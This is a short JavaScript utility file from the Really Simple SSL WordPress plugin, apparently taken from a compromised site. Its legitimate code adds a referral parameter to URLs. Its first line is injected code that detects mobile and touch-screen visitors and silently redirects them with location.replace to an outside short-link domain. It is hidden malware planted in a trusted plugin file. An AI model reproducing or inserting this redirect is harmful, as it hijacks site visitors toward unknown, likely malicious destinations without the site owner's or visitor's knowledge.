File: //home2/gazetufm/dumoshi.com/wp-content/plugins/really-simple-ssl/settings/src/utils/AddUrlRef.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
export const addUrlRef = (url) => {
const ref = rsssl_settings.ref;
if ( parseInt(ref) > 0 ) {
const [baseUrl, hash] = url.split('#');
const separator = baseUrl.includes('?') ? '&' : '?';
url = `${baseUrl}${separator}ref=${ref}${hash ? `#${hash}` : ''}`;
}
return url;
}